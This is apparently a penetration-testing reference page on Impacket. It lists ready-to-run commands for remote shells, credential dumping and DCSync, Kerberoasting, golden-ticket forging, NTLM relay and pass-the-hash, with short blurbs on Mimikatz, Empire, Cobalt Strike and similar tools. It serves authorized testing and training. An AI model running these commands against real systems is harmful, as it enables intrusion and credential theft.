Post Exploitation
Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.
sudo apt install python3-impacket
impacket-<script_name> [options]
Impacket is a comprehensive collection of Python classes and scripts for working with Windows network protocols at a low level. It provides penetration testers with powerful tools for remote execution, credential extraction, and protocol-level attacks.
From remote shell access to full Active Directory database extraction, Impacket's scripts cover the entire post-exploitation lifecycle in Windows environments.
impacket-psexec example.com/<USER>:<PASS>@10.10.10.10Get a SYSTEM shell over SMB using the PsExec-style service techniqueimpacket-smbexec example.com/<USER>:<PASS>@10.10.10.10Semi-interactive shell via service creation, quieter than psexecimpacket-wmiexec example.com/<USER>:<PASS>@10.10.10.10Execute commands over WMI without dropping a service binaryimpacket-atexec example.com/<USER>:<PASS>@10.10.10.10 whoamiRun a single command via the Windows Task Schedulerimpacket-dcomexec example.com/<USER>:<PASS>@10.10.10.10Execute commands through DCOM objectsimpacket-secretsdump example.com/<USER>:<PASS>@10.10.10.10Dump SAM, LSA secrets, and cached credentials from a hostimpacket-secretsdump -just-dc example.com/<USER>:<PASS>@10.10.10.10Perform a DCSync to extract all domain hashes from a DCimpacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCALDump secrets from offline registry hive filesimpacket-GetNPUsers example.com/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10AS-REP roasting: find users that do not require Kerberos pre-authimpacket-GetUserSPNs example.com/<USER>:<PASS> -dc-ip 10.10.10.10 -requestKerberoasting: request TGS tickets for accounts with SPNsimpacket-getTGT example.com/<USER>:<PASS> -dc-ip 10.10.10.10Request a Kerberos TGT and save it as a .ccache fileimpacket-getST -spn cifs/host.example.com -impersonate Administrator example.com/<USER>:<PASS>Request a service ticket, optionally with S4U impersonationimpacket-ticketer -nthash <HASH> -domain-sid <SID> -domain example.com AdministratorForge a golden/silver Kerberos ticketimpacket-smbclient example.com/<USER>:<PASS>@10.10.10.10Interactive SMB client for browsing shares and transferring filesimpacket-smbserver share /path/to/file -smb2supportSpin up an SMB server to host files for transferimpacket-mssqlclient example.com/<USER>:<PASS>@10.10.10.10 -windows-authConnect to Microsoft SQL Server using Windows authenticationimpacket-GetADUsers example.com/<USER>:<PASS> -all -dc-ip 10.10.10.10Enumerate all Active Directory user accountsimpacket-lookupsid example.com/<USER>:<PASS>@10.10.10.10Brute-force SIDs to enumerate domain users and groupsimpacket-rpcdump @10.10.10.10Dump the RPC endpoint mapper entries from a hostimpacket-samrdump example.com/<USER>:<PASS>@10.10.10.10Enumerate users and shares via the SAMR interfaceimpacket-ntlmrelayx -tf targets.txt -smb2supportRelay captured NTLM authentication to target hostsimpacket-psexec -hashes <LM>:<NT> example.com/<USER>@10.10.10.10Pass-the-hash with psexec instead of a passwordimpacket-wmiexec -k -no-pass example.com/<USER>@host.example.comUse an existing Kerberos ccache ticket for WMI executionimpacket-changepasswd example.com/<USER>:<PASS>@10.10.10.10 -newpass <NEWPASS>Change or reset an account password over SMB/RPCimpacket-addcomputer example.com/<USER>:<PASS> -computer-name 'FAKE$' -computer-pass <PASS>Add a machine account to the domainExecute commands via PsExec, wmiexec, smbexec.
Extract SAM, LSA, and NTDS.dit remotely.
Perform AS-REP roasting and Kerberoasting.
Host SMB shares for file transfer operations.
Post Exploitation
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
Post Exploitation
Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.
Post Exploitation
Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.
Post Exploitation
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
Post Exploitation
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment, allowing attackers or defenders to identify complex attack paths.
Exploitation
Cobalt Strike is a commercial penetration testing platform designed for adversary simulation and red team operations. It features a post-exploitation agent called Beacon and supports covert communication channels to model advanced persistent threats.
A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.
Active Directory · AdvancedA comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
Active Directory · AdvancedAn in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Active Directory · AdvancedLearn how to use BloodHound and SharpHound for Active Directory reconnaissance, attack path analysis, privilege escalation detection, and security assessment.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.